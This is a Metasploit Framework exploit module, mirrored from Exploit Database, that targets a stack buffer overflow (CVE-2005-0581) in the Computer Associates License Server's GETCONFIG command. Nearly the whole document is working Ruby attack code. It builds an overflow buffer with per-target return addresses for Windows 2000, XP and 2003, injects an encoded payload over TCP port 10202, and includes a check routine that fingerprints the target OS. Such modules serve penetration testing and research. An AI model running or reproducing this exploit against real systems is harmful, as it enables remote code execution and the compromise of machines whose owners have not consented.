Computer Associates License Server – GETCONFIG Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16745/

• ##
  # $Id: calicserv_getconfig.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Computer Associates License Server GETCONFIG Overflow',
  			'Description'	=> %q{
  					This module exploits an vulnerability in the CA License Server
  				network service. By sending an excessively long GETCONFIG
  				packet the stack may be overwritten.
  			},
  			'Author' =>
  				[
  					'Thor Doomen <syscall [at] hushmail.com>', # original msf v2 module
  					'patrick', # msf v3 port :)
  				],
  			'License' => MSF_LICENSE,
  			'Version' => '$Revision: 10394 $',
  			'References'	=>
  				[
  					[ 'CVE', '2005-0581' ],
  					[ 'OSVDB', '14389' ],
  					[ 'BID', '12705' ],
  					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=213' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload' =>
  				{
  					'Space'	=> 600,
  					'BadChars' => "\x00\x20",
  					'StackAdjustment' => -3500,
  
  				},
  			'Platform'	=> 'win',
  			'Targets' =>
  				[
  					# As much as I would like to return back to the DLL or EXE,
  					# all of those modules have a leading NULL in the
  					# loaded @ address :(
  					# name, jmp esi, writable, jmp edi
  					#['Automatic', {} ],
  					#
  					# patrickw - tested OK Windows XP English SP0-1 only 20100214
  					['Windows 2000 English',	{ 'Rets' => [ 0x750217ae, 0x7ffde0cc, 0x75021421 ] } ], # ws2help.dll esi + peb + edi
  					['Windows XP English SP0-1',	{ 'Rets' => [ 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8 ] } ], # ws2help.dll esi + peb + edi
  					['Windows XP English SP2',	{ 'Rets' => [ 0x71aa1b22, 0x71aa5001, 0x71aa1e08 ] } ], # ws2help.dll esi + .data + edi
  					['Windows 2003 English SP0',	{ 'Rets' => [ 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c ] } ], # ws2help.dll esi + peb + edi
  				],
  			'DisclosureDate' => 'Mar 02 2005'))
  
  		register_options(
  			[
  				Opt::RPORT(10202),
  			], self.class)
  	end
  
  	def check
  		connect
  		banner = sock.get_once
  		sock.put("A0 GETCONFIG SELF 0<EOM>")
  		res = sock.get_once
  		disconnect
  		if (res =~ /OS\<([^\>]+)/)
  			print_status("CA License Server reports OS: #{$1}")
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  		banner = sock.get_once
  		if (banner !~ /GETCONFIG/)
  			print_status("The server did not return the expected greeting!")
  		end
  
  		# exploits two different versions at once >:-)
  		# 144 -> return address of esi points to string middle
  		# 196 -> return address of edi points to string beginning
  		# 148 -> avoid exception by patching with writable address
  		# 928 -> seh handler (not useful under XP SP2)
  		buff = rand_text_alphanumeric(900)
  		buff[142, 2] = Rex::Arch::X86.jmp_short(8) 		# jmp over addresses
  		buff[144, 4] = [target['Rets'][0]].pack('V') 		# jmp esi
  		buff[148, 4] = [target['Rets'][1]].pack('V')		# writable address
  		buff[194, 2] = Rex::Arch::X86.jmp_short(4)		# jmp over address
  		buff[196, 4] = [target['Rets'][2]].pack('V')		# jmp edi
  		buff[272, payload.encoded.length] = payload.encoded
  
  		sploit = "A0 GETCONFIG SELF #{buff}<EOM>"
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end
  
  =begin
  eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>
  BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
  lic98rmt.exe v0.1.0.15: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.61.0>NETWORK<192.168.139.128 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
  =end